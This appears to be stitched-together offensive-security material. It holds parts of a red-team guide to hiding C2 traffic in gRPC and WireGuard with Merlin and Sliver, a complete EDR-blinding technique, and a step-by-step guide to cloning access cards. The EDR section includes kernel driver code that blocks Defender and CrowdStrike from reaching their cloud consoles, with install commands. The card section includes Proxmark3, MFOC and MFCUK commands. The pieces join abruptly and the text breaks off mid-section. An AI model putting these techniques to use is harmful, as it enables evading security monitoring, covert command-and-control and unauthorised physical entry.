• QUIC over UDP 443 is blocked on some networks that only allow TCP 443. Test egress first, and keep an HTTPS fallback.
• QUIC is still relatively rare in enterprise traffic. A sudden stream of UDP 443 from a server that never used it can stand out. Use it selectively.
• 0-RTT is vulnerable to replay. If you rely on 0-RTT for the very first beacon, an attacker could replay it. For most red team work this is acceptable, but understand the tradeoff.

Protocol 9: gRPC over HTTP/2

What it is

gRPC is a remote procedure call framework that runs over HTTP/2 and uses protocol buffers (protobuf) for serialization. It is widely used for microservice communication and is increasingly common inside enterprise networks. If a target runs Kubernetes or modern internal services, gRPC traffic is already normal there.

How the protocol works at the wire level

gRPC rides on HTTP/2. HTTP/2 multiplexes many streams over a single TLS connection. Each gRPC RPC is one HTTP/2 stream, so multiple RPCs (a task fetch, a file upload, a shell session) run in parallel over one connection without opening new sockets.

Messages are serialized with protocol buffers, a compact binary format. A protobuf message is a sequence of tagged fields, each with a field number, a wire type, and a value. It is much smaller than JSON and does not look like text to a content inspector. gRPC supports four RPC patterns: unary (one request, one response), server streaming (one request, many responses), client streaming (many requests, one response), and bidirectional streaming (many requests, many responses).

For C2, the implant opens one HTTP/2 connection to the server and uses bidirectional streaming for the main task channel. The server pushes tasks down the stream, and the implant sends results back up the same stream. File transfers use separate streams on the same connection. To a network monitor, this looks like a microservice calling another microservice.

Why red teamers use it

• HTTP/2 multiplexes many streams over one TLS connection, so you can run multiple C2 channels (tasks, files, shell) over a single connection without opening new sockets.
• gRPC over HTTP/2 looks like normal microservice traffic inside a modern enterprise.
• Protocol buffers give you a compact, typed binary format that does not look like text to a content inspector.
• The server can stream responses, so tasks can be pushed to the implant without polling.

How it carries C2

1. The implant and server share a protobuf schema that defines C2 messages (Task, Result, FileChunk).
2. The implant opens an HTTP/2 connection with TLS to the C2 server.
3. The implant calls RPC methods like GetTask and streams back results over the same connection.
4. Each RPC is a separate HTTP/2 stream, so multiple operations run in parallel over one connection.

Real-world APT usage

gRPC and HTTP/2 are newer in offensive tooling but match the trend of red teams hiding C2 inside protocols the target already uses. Merlin is built on HTTP/2 and uses gRPC for its operator to server link. As enterprises move to microservice architectures, gRPC C2 blends perfectly because the target network already expects to see gRPC between internal services. Threat actors who operate against cloud native targets increasingly adopt HTTP/2 based C2 for exactly this reason.

Tools with GitHub references

Merlin (Ne0nd0g)

• GitHub: https://github.com/Ne0nd0g/merlin
• Language: Go
• Merlin uses HTTP/2 and gRPC for the operator to server link, and HTTP/2 for the agent to server link
• Install and run:

git clone https://github.com/Ne0nd0g/merlin.git
cd merlin
go build -o merlin
# Start the server:
./merlin server -i 0.0.0.0 -p 443 -t https
# The server uses gRPC for the operator CLI to authenticate and issue commands

merlin-cli (Ne0nd0g)

• GitHub: https://github.com/Ne0nd0g/merlin-cli
• Language: Go
• The gRPC command line client for the Merlin server
• Install and run:

git clone https://github.com/Ne0nd0g/merlin-cli.git
cd merlin-cli
go build -o merlin-cli
# Connect to the Merlin server over gRPC:
./merlin-cli -H your-c2.example.com:443 -P yourpassword

Red team usage example

An operator issuing commands to a Merlin agent over gRPC:

# Operator CLI connects to the server over gRPC
merlin> agents
merlin> use agent <id>
merlin> shell whoami
# The command is serialized as a protobuf Task message, sent over HTTP/2 to the server,
# then forwarded to the agent over its own HTTP/2 channel

Because every command is a typed protobuf message over HTTP/2, the traffic looks like a microservice calling another microservice, not a C2 channel.

Operational notes

• gRPC uses HTTP/2, which most proxies support, but some older proxies strip HTTP/2 trailers or break long lived streams. Test the egress path first.
• The protobuf schema is a static contract. If you change the schema you have to rebuild both the agent and the server. Plan your message types up front.
• Use TLS with a valid certificate (or a redirector with one) so the HTTP/2 handshake matches a real microservice.

Protocol 10: WireGuard (VPN Style C2)

What it is

WireGuard is a modern VPN protocol that uses ChaCha20 public key encryption to establish a secure tunnel between two peers. It is tiny (under 4,000 lines of code in the Linux kernel), fast, and increasingly common inside enterprise networks as a legitimate VPN.

How the protocol works at the wire level

WireGuard uses the Noise_IK handshake from the Noise protocol framework. The handshake is a single round trip (1.5 RTT including the first data packet). Each peer has a static Curve25519 key pair. The initiator sends its ephemeral key and an encrypted copy of its static public key. The responder derives the shared secret, authenticates the initiator, and responds. After the handshake, both sides share a symmetric ChaCha20-Poly1305 key used to encrypt data packets.

WireGuard is connectionless and stateless on the wire. There are no keepalives by default. When no data flows, the tunnel is silent. Data packets carry only a small header (a type byte, a 4 byte receiver index, a 16 byte nonce, then the encrypted payload). To a network monitor, WireGuard traffic is short UDP packets with a recognizable handshake pattern but no readable content.

For C2, after the handshake both sides get a TUN interface. The operator can route any tool (SSH, RDP, SMB, nmap) through the tunnel as if the implant were a VPN node inside the target network. This is the killer feature: WireGuard does not just carry C2 tasking, it carries any IP traffic you want to pivot through the implant.

Why red teamers use it

• WireGuard gives you a full network interface over the C2 channel, so you can run any tool (SSH, RDP, SMB) through the implant as if it were a VPN node.
• ChaCha20 public key crypto is strong and fast, and the handshake is tiny (a single round trip).
• WireGuard is quiet: when no traffic flows, the tunnel is silent. No beaconing, no keepalives, no traffic to detect.
• Looks like a legitimate VPN if WireGuard is already used in the target environment.

How it carries C2

1. The operator and the implant exchange public keys ahead of time.
2. The implant initiates a WireGuard handshake to the C2 server on UDP 51820 (or any port you choose).
3. After the handshake, both sides have a shared symmetric key and a TUN interface.
4. The implant routes traffic into the WireGuard tunnel, and the operator can SSH, scan, or pivot through it as if the implant were a VPN peer.

Real-world APT usage

WireGuard as a C2 transport is a red team innovation rather than a documented APT staple, but it is increasingly adopted because it solves the pivoting problem so cleanly. Sliver’s WireGuard support made it a popular choice for engagements that need deep internal pivoting. As more enterprises deploy WireGuard as their own VPN, red team WireGuard C2 becomes harder to distinguish from legitimate VPN traffic. Expect threat actors to follow once the technique is more widely demonstrated.

Tools with GitHub references

Sliver (Bishop Fox)

• GitHub: https://github.com/bishopfox/sliver
• Language: Go
• Sliver supports WireGuard as a C2 transport, giving you a full VPN tunnel through the implant
• Install and run:

git clone https://github.com/bishopfox/sliver.git
cd sliver && make
./sliver
# In the sliver console, start a WireGuard listener:
sliver > wg
# Generate an implant that uses WireGuard:
sliver > generate --wg --lhost 10.0.0.1 --lport 51820
# Once the implant checks in, you get a WireGuard peer and a TUN interface on the server

Red team usage example

A Sliver WireGuard implant that lets the operator pivot through the target:

# Start a WireGuard listener
sliver > wg --lhost 10.0.0.1 --lport 51820
# Generate and deploy the implant
sliver > generate --wg 10.0.0.1:51820 --os windows
# After checkin, the server has a TUN interface (e.g. 100.64.0.2)
# Operator can now:
sliver > portfwd add --remote 10.0.0.5:445 --local 127.0.0.1:4455
sliver > reverse-socks

The operator now pivots SMB, SSH, or any tool through the WireGuard tunnel into the target network. The implant is effectively a VPN node inside the target.

Operational notes

• WireGuard is silent when idle, which is great for stealth but means you have to actively send traffic to keep the channel alive through stateful firewalls. Sliver handles keepalives for you.
• UDP 51820 is the default WireGuard port. Use a nonstandard port (53, 443, 123) to blend better.
• WireGuard does not obfuscate its handshake. A DPI engine that knows the WireGuard handshake pattern can flag it. If you need obfuscation, wrap WireGuard in a UDP obfuscator or use a custom transport.

Quick Reference: All GitHub Repositories

This is the consolidated list of every tool referenced in this post, with the repository, the language, and the C2 protocol it implements.

• Sliver (https://github.com/bishopfox/sliver) — Go — HTTP(S), DNS, mTLS, WireGuard C2
• Covenant (https://github.com/cobbr/covenant) — C# — .NET HTTP(S) C2 framework
• dnscat2 (https://github.com/iagox86/dnscat2) — Ruby/C — DNS tunnel shell
• iodine (https://github.com/yarrick/iodine) — C — IP over DNS tunnel
• DoHC2 (https://github.com/spiderlabs/dohc2) — Python/C# — DNS over HTTPS C2
• Havoc (https://github.com/havocframework/havoc) — C/Go/Python — C2 with SMB pipe pivoting
• xPipe (https://github.com/boku7/xpipe) — C — Cobalt Strike BOF to list named pipes
• icmpdoor (https://github.com/krabelize/icmpdoor) — Python — ICMP reverse shell
• icmpsh (https://github.com/bdamele/icmpsh) — C/Python — simple ICMP reverse shell
• Metasploit Framework (https://github.com/rapid7/metasploit-framework) — Ruby — Meterpreter over TCP
• Mythic (https://github.com/its-a-feature/mythic) — Go — multi agent C2 with WebSockets
• Poseidon (https://github.com/MythicAgents/poseidon) — Go — Mythic agent over WebSockets
• Merlin (https://github.com/Ne0nd0g/merlin) — Go — HTTP/2, gRPC, QUIC C2
• merlin-cli (https://github.com/Ne0nd0g/merlin-cli) — Go — gRPC client for Merlin server

The Core Idea

Tell the Windows firewall layer to drop every packet that comes from the EDR process. The EDR keeps running, but the cloud never hears from it again.

Why it works

1. Every Windows endpoint-security product: Defender, CrowdStrike, Sophos, SentinelOne, Trend Micro, the rest sends what it sees to a cloud console over a normal network socket.
2. Every outbound packet on Windows passes through a kernel layer called the Windows Filtering Platform (WFP) before it leaves the machine.
3. WFP lets a kernel driver register a small function called a callout. The callout sees every packet and votes BLOCK (drop) or PERMIT (let it through).

So a driver that says ‘drop any packet whose originating process is MsMpEng.exe’ silently cuts the EDR’s link to the cloud. There is no memory patching, no hooks, no process killed, no service stopped.

What you need

SYSTEM privileges on the target host. Loading a kernel driver requires it.

A kernel-signed driver file. Three options, in increasing cost:

• Reuse a known vulnerable signed driver from the LOLDrivers list (BYOVD). No budget. But Microsoft’s Vulnerable Driver Blocklist blocks most of these on up-to-date Windows 11 22H2+.
• Build the WFP callout driver from the official Microsoft WDK sample, modify the classify function, re-sign with an EV certificate (~$399 / year from DigiCert / SSL.com / a Microsoft Partner).
• Self-sign with a test certificate — only works on hosts where HVCI / code-integrity is disabled.

The file path of the EDR process you want to silence. Example for Defender: C:\Program Files\Windows Defender\MsMpEng.exe.

The minimum code

All the meaningful logic lives in two short functions.

1. On driver load, register one callout and one filter at the connect layer

// Inside DriverEntry()
FWPS_CALLOUT0 callout = { 0 };
callout.calloutKey = MY_CALLOUT_GUID;
callout.classifyFn = ClassifyConnect;     // the function that decides
callout.notifyFn  = NotifyConnect;       // can be a no-op
FwpsCalloutRegister0(device, &callout);
FWPM_FILTER0 filter = { 0 };
filter.layerKey            = FWPM_LAYER_ALE_AUTH_CONNECT_V4;   // outbound IPv4 connect
filter.action.calloutKey   = MY_CALLOUT_GUID;
filter.action.type         = FWP_ACTION_CALLOUT_TERMINATING;
filter.flags               = FWPM_FILTER_FLAG_PERSISTENT;     // survives reboot
FwpmFilterAdd0(engine, &filter, NULL, NULL);

2. In the callout, block only EDR traffic

NTSTATUS ClassifyConnect(...)
{
    // WFP gives us the path of the process that owns this connection.
    if (wcsstr(imagePath, L"MsMpEng.exe") ||
        wcsstr(imagePath, L"CSFalconService.exe")) {
        classifyOut->actionType = FWP_ACTION_BLOCK;   // drop the SYN
        return;
    }
    classifyOut->actionType = FWP_ACTION_PERMIT;       // everyone else: pass
}

That is the entire technique. The actor adds more EDR-binary paths to the wcsstr list (one per vendor) so the same driver catches every endpoint product on the box.

Installing the driver

From a SYSTEM shell:

copy WfpBlocker.sys C:\Windows\System32\drivers\
sc create WfpBlocker type= kernel binPath= System32\drivers\WfpBlocker.sys
sc start WfpBlocker

Optional — add more EDR paths to block at runtime, without recompiling:

WfpBlocker.exe Add-Path "C:\Program Files\Windows Defender\MsMpEng.exe"

What the EDR sees locally

• The EDR’s connect() returns WSAECONNREFUSED (socket error 10061) almost instantly.
• The EDR retries on its normal backoff schedule: 5 s, 10 s, 30 s, 60 s, 120 s, 240 s, … up to about 30 minutes, then logs a local “cannot contact cloud” warning.
• Task Manager still shows MsMpEng.exe running with normal CPU and memory.
• netstat -ano shows no connection to the cloud IP. The SYN never even leaves the kernel.
• No tamper flag is set. From the agent’s point of view, this looks exactly like the network is down.

What the cloud console sees

• T + 0 s — last heartbeat lands normally. Console shows “Last seen: now”.
• T + 30 s — the next heartbeat attempt is dropped by WFP. Console updates to “Last seen: 30 s ago”.
• T + 5 min — Defender for Endpoint raises a low-priority “Host connectivity lost” alert.
• Tamper alert — never. This is the central advantage.

Why this beats the obvious methods

Compared with the most common EDR-disable attempts:

• net stop WinDefend fires a high-priority "Tamper attempt" alert in about 30 seconds.
• Killing the EDR process fires a high-priority tamper alert, and the agent auto-restarts within seconds.
• Unhooking ntdll / patching DLLs is caught by modern memory-scanning behavioral detections.
• WFP block (this technique) fires no tamper alert. Only a low-priority “Host connectivity lost” alert, lagging by about 5 minutes.

The whole value of the technique lives in that gap: an extra ~4 minutes of undetected dwell time, and a low-priority alert instead of a high-priority one.

Cleaning up (your own lab)

sc stop WfpBlocker
sc delete WfpBlocker
del C:\Windows\System32\drivers\WfpBlocker.sys
netsh wfp reset
shutdown /r /t 0

After reboot, the Defender cloud console should show “Last contacted: just now” again within about 60 seconds.

What this post is about

In a physical penetration test, the fastest way through a locked door is often the same card the legitimate users carry every day. Access cards are everywhere, from office lobbies to data center cages to apartment fobs, and most of them are cloneable with tools that cost less than a cheap dinner. This post is a deep, step by step technical walkthrough of how a red teamer reads, clones, and emulates access cards during a physical engagement.

We start with how access card technology actually works at the radio level, then walk through the attacker toolkit, then a phase by phase engagement playbook: reconnaissance, low frequency 125 kHz card cloning (HID Prox and EM410x), high frequency 13.56 MHz Mifare Classic cloning with the nested attack, HID iCLASS cloning, writing to blank cards, long range capture attacks, and finally reader side attacks on the Wiegand and OSDP protocols.

TLDR

Most access cards fall into two radio families. Low frequency 125 kHz cards (HID Prox, EM410x, Indala) carry a static unencrypted ID that you can read and clone in seconds with a Proxmark3 or a Flipper Zero. High frequency 13.56 MHz cards (Mifare Classic, HID iCLASS) carry encrypted data, but Mifare Classic’s crypto is broken and the keys can be recovered with the nested or hardnested attack, then the card cloned to a magic UID card. Modern credentials like HID Seos and Mifare DESFire use real cryptography and are not directly cloneable, so attackers downgrade to legacy readers, exploit weak reader configurations, or attack the reader to controller link instead. The reader to controller protocol (Wiegand) sends the badge number in cleartext, so anyone who taps the wire can capture and replay any badge.

How an access control system actually works (the full mechanism)

To understand why these attacks work, you have to see the whole chain a badge is part of. An access control system is not just a card and a door. It is four pieces that trust each other in a specific order, and the attacks in this post break that trust at different points.

The four pieces of the system

1. The credential (the card or fob). A small passive radio device the user carries. It holds an identifier and, on encrypted cards, secret keys. It has no battery. It wakes up only when a reader powers it with a radio field.
2. The reader. The box on the wall beside the door. It broadcasts a radio field, powers the card, reads the card’s response, extracts the badge number, and sends that number to the controller over a wire.
3. The controller. The panel, often in a server room or above the ceiling, that holds the list of valid badge numbers, the schedules, and the door rules. It receives the number from the reader, checks it against the allowed list, and if the number is allowed it sends a signal to unlock the door.
4. The lock. The electric strike or magnetic lock on the door. When the controller tells it to unlock, it releases for a few seconds so the user can push the door open, then re-locks.

Where each attack breaks it

The system works because each piece trusts the next. The reader trusts whatever the card sends. The controller trusts whatever the reader sends. The lock trusts whatever the controller sends. Every attack in this post is an abuse of one of those trusts:

• Cloning attacks (Phases 2 to 5) abuse the reader’s trust of the card. You make a card that sends the same data as a legitimate badge, so the reader accepts it.
• Long range capture (Phase 6) abuses the card’s blindness to who is powering it. You power the card with your own hidden reader and steal its ID without the holder knowing.
• Reader side attacks (Phase 7) abuse the controller’s trust of the reader and the wire. You tap or replace the wire so the controller hears a valid badge number that never came from a real badge.

How access card technology works

Access cards work on one of two radio frequencies, and which one your target uses decides the whole attack.

Low frequency (LF, 125 kHz). This is the older family. The card is passive: it has no battery. When you hold it near a reader, the reader’s antenna broadcasts a 125 kHz magnetic field that powers the card’s chip. The chip transmits its static ID back by load modulating that field. The ID is unencrypted and the same every time. Cards in this family include HID ProxCard, EM410x, Indala, and AWID. The classic office fob and the apartment fob are almost always LF.

LF read range is short, typically 5 to 15 cm, because the magnetic field that powers the card drops off fast. The card just shouts its ID over and over while powered. There is no challenge and response, no rolling code, no encryption. Reading the ID and writing it to a blank card (usually a T5577) is the whole attack.

High frequency (HF, 13.56 MHz). This is the newer family, based on ISO 14443. The card is still passive and powered by the reader’s field, but it has a real microcontroller with storage and (sometimes) cryptography. Cards in this family include Mifare Classic, Mifare DESFire, Mifare Plus, and HID iCLASS and Seos. Read range is similar to LF, around 5 to 10 cm.

HF cards split into two camps by security. Mifare Classic uses the proprietary Crypto-1 cipher, which is broken: the keys can be recovered and the card fully cloned. Mifare DESFire, Mifare Plus, and HID Seos use real AES or DES cryptography with anti-cloning measures, and they are not directly cloneable. For those, attackers pivot to legacy downgrade, weak configuration, or reader side attacks.

The Wiegand protocol (reader to controller)

When the reader reads a card, it has to tell the door controller what it saw. The dominant protocol for this is Wiegand. Wiegand sends the badge number as a stream of voltage changes over two data wires (Data0 and Data1) plus a ground. There is no encryption, no authentication, and no tamper detection. The most common format is 26-bit Wiegand: one parity bit, then an 8-bit facility code, then a 16-bit card number, then a trailing parity bit.

Because Wiegand is cleartext, an attacker who taps the reader to controller wires can capture any badge number that walks past, and can replay it later by injecting the same voltage pattern onto the wires. This is the single biggest weakness in legacy access control, and it affects the vast majority of installed readers because Wiegand has been the standard for decades.

OSDP (the modern replacement)

OSDP (Open Supervised Data Protocol) is the modern replacement for Wiegand. It runs over RS-485, supports bidirectional communication, tamper detection, and an optional AES-128 Secure Channel. When Secure Channel is enabled and enforced, OSDP protects the reader to controller link against capture and replay.

But OSDP has its own weaknesses in practice. Secure Channel is optional, and many deployments ship without it. Even when enabled, some readers and controllers accept a downgrade to plaintext, so an attacker who taps the wire can tell the controller the reader does not support encryption and capture the credential anyway. So OSDP is a real improvement, but only when Secure Channel is both enabled and enforced (Secure Channel Required mode).

The attacker toolkit

These are the tools a physical pentester carries for access card work. All of them are open source or widely available, and each has a verified GitHub repository or vendor link.

Proxmark3 RDV4 is the reference RFID research tool. It can read, write, emulate, and sniff both LF and HF cards, and it is the tool you reach for when a Flipper cannot handle the card. GitHub: https://github.com/RfidResearchGroup/proxmark3

Flipper Zero is a multi-tool that handles LF RFID, NFC, Sub-GHz remotes, and infrared, all from a pocket sized device with a screen. It is the easiest tool for cloning a standard LF fob on site. GitHub: https://github.com/flipperdevices/flipperzero-firmware

RFIDler is an open source LF RFID tool for reading and emulating 125 kHz cards. GitHub: https://github.com/ApertureLabsLtd/RFIDler

ACR122U is a cheap USB NFC reader/writer used with software like MFOC and MFCUK to attack Mifare Classic cards from a laptop. Vendor: https://www.acs.com.hk/en/products/3/acr122u-nfc-smart-card-reader-writer/

MFOC (Mifare Classic Offline Cracker) recovers Mifare Classic keys using the nested attack. GitHub: https://github.com/nfc-tools/mfoc

MFCUK recovers Mifare Classic keys with the darkside attack when nested fails. GitHub: https://github.com/nfc-tools/mfcuk

Mifare Classic Tool (MCT) is an Android app that reads and writes Mifare Classic cards from a phone with NFC. GitHub: https://github.com/ikarus23/MifareClassicTool

libnfc is the base library that most NFC tools build on. GitHub: https://github.com/nfc-tools/libnfc

Phase 1: Reconnaissance

Before you touch a card, you have to know what you are dealing with. The card’s frequency, chip, and protocol decide the whole attack path. Reconnaissance is mostly reading and observation.

Step 1: Identify the reader manufacturer

Walk up to the reader and read the label. The manufacturer is usually printed on the front or back: HID, Assa Abloy, Gallagher, Verkada, dormakaba, Mifare. The brand tells you a lot about the card family:

• HID Prox, HID iCLASS, HID Seos: 125 kHz Prox, 13.56 MHz iCLASS, or modern Seos.
• Assa Abloy / HID Global: often iCLASS or Seos.
• Gallagher: proprietary, often high security, harder to clone.
• Verkada: modern, often OSDP or cloud, harder to clone.
• dormakaba: mixed, often legacy Wiegand with Mifare or Prox.

If the reader has an OSDP or Wiegand label, note it. OSDP with Secure Channel changes your attack path.

Step 2: Identify the card type with a Flipper or Proxmark

Hold the card to a Flipper Zero and read it. The Flipper auto-detects the protocol and tells you the type: EM410x, HID Prox, Indala (LF), or Mifare Classic, Mifare Ultralight, NFC (HF). If the Flipper cannot read it, it is likely a higher security card (iCLASS, DESFire, Seos) and you escalate to a Proxmark3.

On a Proxmark3, run a low frequency hunt first, then a high frequency search:

# Proxmark3: find the card's frequency and type
pm3> lf search
# If that finds nothing, try high frequency
pm3> hf search

The Proxmark prints the chip type (for example ‘Valid HID Prox ID Found’ or ‘Mifare Classic 1k’), the UID, and the raw data. That output decides the next phase.

Step 3: Note the reader to controller protocol

If you can see the wiring at the reader (often accessible by removing the reader cover), count the wires. Wiegand uses four wires (Data0 green, Data1 white, ground, power). OSDP uses two wires (RS-485 A and B) plus power and ground. Two data wires usually means OSDP, four usually means Wiegand. This matters for Phase 7.

Phase 2: LF 125 kHz card cloning (HID Prox and EM410x)

This is the easiest and most common attack. LF cards carry a static unencrypted ID. Read it, write it to a blank T5577 card, and you have a working clone. The whole attack takes under a minute.

What makes this attack succeed (the root cause)

LF cards have zero security. The card is a passive chip that shouts one fixed ID every time the reader powers it. There is no encryption, no rolling code, no challenge and response, and no check that the card is genuine. The reader trusts any card that sends the right ID. So the moment you learn that ID and write it onto a blank card, the blank is accepted as the original. The ID never changes, so one read is enough forever.

How to perform the attack (plain steps)

1. Hold the original badge near a Proxmark3 (or a Flipper Zero) and read its static ID with lf search.
2. Note the raw ID value the tool prints, for example 2004ec0006b2.
3. Place a blank T5577 card on the antenna and write that ID with lf hid clone 2004ec0006b2.
4. Read the blank back with lf search to confirm it returns the same ID.
5. Walk to the door and present the clone. The door opens.

What happens if the attack succeeds (the consequence)

You now hold a perfect duplicate of a legitimate badge. You can open every door that badge is authorized for, at any time, without the owner knowing a copy exists. You can hand copies to teammates and each copy works independently. The clone keeps working until the original badge is revoked in the controller, and because the controller revokes by ID (not by physical card), revoking the original revokes the clone too.

Tool: Proxmark3 RDV4

GitHub: https://github.com/RfidResearchGroup/proxmark3

Install the client on Linux or macOS:

git clone https://github.com/RfidResearchGroup/proxmark3.git
cd proxmark3
make clean && make all
# Flash the firmware to the device (USB connected):
./pm3-flash-all
# Start the client:
./pm3

Step 1: Read the original card

Place the original card on the Proxmark antenna and run the LF search:

pm3> lf search

The output looks like:

Valid HID Prox ID Found!
HID Prox - HID H10301 26-bit
Facility Code: 23
Card Number: 12345
Raw: 2004ec0006b2

Write down the raw value and the facility code and card number. The raw value is what you write to the clone.

Step 2: Write the ID to a blank T5577 card

Place a blank T5577 card on the antenna and write the captured data:

pm3> lf hid clone 2004ec0006b2

For an EM410x card instead, use:

pm3> lf em 410x clone 0a3e1f2c

Step 3: Verify the clone

Read the clone back to confirm it returns the same ID:

pm3> lf search

You should see the same HID Prox ID and the same facility code and card number. The clone is now a working duplicate of the original badge.

Tool: Flipper Zero (easier on site)

GitHub: https://github.com/flipperdevices/flipperzero-firmware

The Flipper makes the whole LF attack a few button presses:

# On the Flipper:
# 1. Go to RFID app
# 2. Read, hold the original card to the back
# 3. Save the card
# 4. Go to Saved, select the card, Write, hold a blank T5577 to the back
# 5. Verify by reading the clone

Tool: RFIDler (for scripting)

GitHub: https://github.com/ApertureLabsLtd/RFIDler

RFIDler is a programmable LF tool good for scripting bulk reads:

git clone https://github.com/ApertureLabsLtd/RFIDler.git
cd RFIDler/firmware
# Build and flash per the README, then via serial:
RFIDler> READ
RFIDler> EM
RFIDler> CONFIG LF_DEVICE=EM410X
RFIDler> WRITE 0a3e1f2c

Operational notes

• LF read range is 5 to 15 cm. You cannot clone an LF card from across the room, but you can clone one from a card sitting on a desk or in a lanyard with a quick bump.
• T5577 is the universal LF blank. It can emulate HID Prox, EM410x, Indala, and most other LF formats.
• The clone carries the same static ID forever. If the original card is later revoked, the clone is also revoked, because the controller revokes by ID, not by physical card.
• This attack works against every unencrypted LF system, which is still a large fraction of installed access control.

Remediation plan

The defense is to stop trusting a static ID alone.

1. Replace static ID cards. Move to Mifare DESFire, Mifare Plus, or HID Seos. These use real cryptography and mutual authentication, so a copied ID is useless because the card will not answer an unknown reader.
2. Add a second factor. If LF must stay, add a PIN pad or biometric so a cloned badge alone cannot open the door.
3. Protect the reader link. Move from Wiegand to OSDP with enforced Secure Channel, so a captured ID cannot be replayed on the wire (see Phase 7).
4. Shield the card. Issue shielded badge holders or sleeves so the card only powers when the user intentionally presents it, which also defeats long range capture (Phase 6).
5. Monitor and revoke fast. Alert on the same badge used at two doors within an impossible time, on off hours use, and revoke lost or suspected compromised badges immediately.

Phase 3: HF 13.56 MHz Mifare Classic cloning (the nested attack)

Mifare Classic is the most common high frequency access card in the world. It uses the proprietary Crypto-1 cipher, which is broken. The keys can be recovered with the nested attack (or the hardnested attack for newer cards), and then the whole card is cloned to a magic UID card. This phase is the core of most HF access card work.

How Mifare Classic is structured

A Mifare Classic 1k card has 16 sectors, each with 4 blocks of 16 bytes. Each sector has its own pair of keys (Key A and Key B) stored in the last block of the sector (the sector trailer), along with access bits that say what each key can do. To read or write a sector, you must authenticate with one of its keys first.

The weakness is in the Crypto-1 cipher’s pseudo-random number generator. It is predictable, which lets an attacker recover keys. The nested attack exploits the fact that once you know one sector’s key (often a default key on sector 0), you can derive the other sector keys from the predictable nonces the card emits. The hardnested attack is the newer version that works on cards not vulnerable to the classic nested attack, by exploiting the partial state leakage of the cipher.

What makes this attack succeed (the root cause)

Two weaknesses combine. First, the Mifare Classic Crypto-1 cipher has a predictable random number generator, so once you authenticate to one sector you can derive the other sector keys from the nonces the card emits (the nested attack). Second, almost every real deployment leaves at least one sector with a well known default key (like FFFFFFFFFFFF, A0A1A2A3A4A5, D3F7D3F7D3F7). That one default key is the foothold: it lets the nested attack recover every other key, and once you have all the keys the whole card is readable and clonable.

How to perform the attack (plain steps)

1. Plug an ACR122U reader into a laptop, place the Mifare card on it, and run mfoc -O card_dump.mfd.
2. MFOC tries the default keys. The moment it finds one, it runs the nested attack to recover all the other sector keys.
3. MFOC dumps a full binary copy of the card (all blocks and keys) to card_dump.mfd.
4. If MFOC fails (card patched against nested), switch to the hardnested branch or MFCUK and repeat.
5. Place a magic Mifare Gen1 or Gen2 card on the reader and write the dump with nfc-mfclassic W card_dump.mfd card_dump.mfd.
6. The clone now has the same UID, keys, and data. Present it at the door and it opens.

What happens if the attack succeeds (the consequence)

You get a full clone of the encrypted card, not just the ID. The clone carries the same UID, the same keys, and the same data blocks, so it passes every check the reader does, including the encrypted authentication. You can open every door that card is authorized for, and because you have the keys you can also read and copy any future card from the same site (the keys are often reused across all cards in a deployment).

Tool: MFOC (Mifare Classic Offline Cracker)

GitHub: https://github.com/nfc-tools/mfoc

MFOC automates the nested attack. It takes a known key (or a list of default keys) and recovers all the sector keys, then dumps the full card.

Install on Linux:

git clone https://github.com/nfc-tools/mfoc.git
cd mfoc
autoreconf -i
./configure
make
sudo make install
# You also need libnfc:
git clone https://github.com/nfc-tools/libnfc.git
cd libnfc && autoreconf -i && ./configure && make && sudo make install

Step 1: Recover the keys and dump the card

Plug in an ACR122U reader and place the Mifare card on it. Run MFOC:

# Recover all keys and dump the card to a file
mfoc -O card_dump.mfd

MFOC tries the known default keys first. When it finds one, it uses the nested attack to recover the rest. Output looks like:

Found Mifare Classic 1k tag
Using sector 00 as an exploit sector
Sector 00 - Found Key A: a0a1a2a3a4a5
Sector 01 - Found Key A: d3f7d3f7d3f7
...
Sector 15 - Found Key A: ffffffffffff
Dumping card contents to card_dump.mfd

The dump file card_dump.mfd is a full binary copy of the card, including all keys and data.

Step 2: If nested fails, use the hardnested attack

Some cards are not vulnerable to the basic nested attack. For those, use the hardnested branch of MFOC or MFCUK.

Hardnested (build the hardnested branch of MFOC):

git clone https://github.com/nfc-tools/mfoc.git
cd mfoc
git checkout hardnested
autoreconf -i && ./configure && make
# Run with a known key to bootstrap:
mfoc-hardnested -k a0a1a2a3a4a5 -O card_dump.mfd

MFCUK (the darkside attack, for cards that resist nested):

GitHub: https://github.com/nfc-tools/mfcuk

git clone https://github.com/nfc-tools/mfcuk.git
cd mfcuk && autoreconf -i && ./configure && make
# Recover keys:
mfcuk -C -R 0:A -s 250 -x 1000
# Then dump with the recovered keys using MFOC or nfc-mfclassic

Step 3: Write the dump to a magic UID card

